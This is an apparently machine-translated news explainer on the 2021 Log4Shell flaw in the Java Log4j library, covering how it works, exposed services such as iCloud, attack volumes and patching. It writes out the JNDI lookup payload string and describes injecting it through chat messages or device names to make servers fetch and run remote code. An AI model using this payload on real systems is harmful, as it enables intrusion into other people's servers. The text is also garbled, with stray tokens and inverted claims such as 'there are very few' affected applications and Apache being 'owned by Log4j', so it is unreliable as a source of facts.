A serious vulnerability in a widely used open source library in the Java language is rocking the global IT landscape. The chance that your business will be affected is so great. Resolution starts with understanding, so let's explain the problem of Log4Shell.
Earlier this month, Alibaba's cloud security team sounded the alarm. The team found a serious vulnerability in Log4j. Developers use the open source Java library to log events in Java applications, also known as logging. The vulnerability is now known as Log4Shell. Malicious people have a simple method of executing code in a variety of Java applications. Experts don't ask who gets hit, but who doesn't é hit.
- How does Log4j work?
Log4j has been incorporated into a multitude of platforms, applications and services. The software from Cisco, IBM, VMware, Fortinet e Red Hat are some examples. The exact application of the library varies, but event logging in applications always plays a role. Think about looking at login attempts or the user identity of an application.
The application processes an event; Log4j emits data. The application programmer determines which data. As mentioned earlier, it could be the username from a login attempt. Or the time a user logs in.
The vulnerability that Alibaba's security team found is the result of an interaction between the Java programming language and the Log4j library. Java, in combination with Log4j, is capable of executing code on a remote server. For this, programmers pass the following line: ${jndi:ldap://example.com/vaneenurl} 🇧🇷 The actual url can be replaced with the address of a server of your choice. If you run the line in a Java application, the application will try to run the data from the specified url.
This is not a vulnerability in itself, because in desirable real-world scenarios, only an authorized administrator has the ability to add the rule in an application. The problem starts with Log4j executing the line, Java interprets exactly the same command as a line purposely placed in the application by a developer.
Suppose Log4j is configured to log the contents of a chat message in an online game. A game user sends the above line in a chat message. The url points to a server with instructions to run a malware application. Log4j runs the line out. Java interprets a command – and follows the command neatly. The user can break into the server without having to obtain a single password.
- Who is at risk?
The aforementioned threat applies to any other Java application that logs a user's input through Log4j. There are very few. O iCloud is a prominent example. Log4j was found somewhere in Apple's iCloud store software for registering iPhone names, so renaming an iPhone was enough to infiltrate the iCloud servers.
Additionally, a large number of hosting services log browser names to determine which browser a logged-in user is using. Log4j's popularity is impossible to measure, but it is estimated that the library is in the software of most business environments.
You can set the name of your iPhone and exploit Apple iCloud currently. https://t.co/WsOrsFeMS9
- Kevin Beaumont (@GossiTheDog) December 10, 2021
- What is the harm of Log4j?
At this point, no one seems to know exactly how much damage the vulnerability has done and could still do. It went unnoticed by Log4j users for years. It is impossible at this stage to determine whether and which hacks were caused by the vulnerability since 2013 (year of the first vulnerable version). We know that cybercriminals have been targeting en masse and in a targeted manner since the vulnerability was announced.
Several security organizations, including Check Point Software, highlight the latter. The organization says it observed 400.000 abuse attempts in three days. Its research department also states that cybercriminals attempted to attack 31,5% of all global corporate networks.
- And now?
Any version of Log4j published between September 13, 2013 and December 5, 2021 is vulnerable. The Apache Software Foundation, which is owned by Log4j, released an emergency patch to fix the vulnerability.
The ease with which the vulnerability can be abused works both ways. On a technical level, the solution is simple. A library patch is enough. The main problem is of a practical nature. Log4j is used so often that organizations rarely know exactly where the library applies. Most cybersecurity authorities recommend starting with an inventory of the applications Log4j is used for in ICT environments. So an application update with the official patch is the recommended advice. If the application vendor does not yet provide an updated version, the safest way is to disable it.
